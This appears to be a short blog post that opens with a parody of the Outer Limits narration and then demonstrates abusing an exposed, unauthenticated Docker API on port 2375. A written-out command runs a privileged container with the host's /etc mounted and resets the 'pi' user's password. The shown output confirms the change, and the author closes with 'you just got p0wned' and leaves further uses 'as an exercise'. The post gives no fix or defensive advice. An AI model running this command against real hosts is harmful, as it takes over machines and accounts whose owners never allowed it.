There is nothing wrong with your docker host. Do not attempt to adjust the picture. We are controlling transmission. If we wish to make it louder, we will bring up the volume. If we wish to make it softer, we will tune it to a whisper. We will control the horizontal. We will control the vertical. We can roll the image, make it flutter. We can change the focus to a soft blur or sharpen it to crystal clarity. For the next hour, sit quietly and we will control all that you see and hear. We repeat: there is nothing wrong with your docker host. You are about to participate in a great adventure. You are about to experience the awe and mystery which reaches from the inner mind to – The Outer Limits.
It’s nothing new, but I thought I might explore things that can be done with an open docker port. The example below is somewhat innocuous, but illustrates a point…
1 2 3 4 5 6 7 8 9 10 |
matt@argentum:~$ DOCKER_HOST=raspberrypi:2375 docker run -v /etc:/etc --privileged --rm resin/rpi-raspbian /bin/bash -c "cat <<END|/usr/bin/passwd pi cherry cherry END " ERROR: ld.so: object '/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so' from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object '/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so' from /etc/ld.so.preload cannot be preloaded: ignored. ERROR: ld.so: object '/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so' from /etc/ld.so.preload cannot be preloaded: ignored. Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully |
Dude, you just got p0wned.
Other applications are left as an exercise for the student.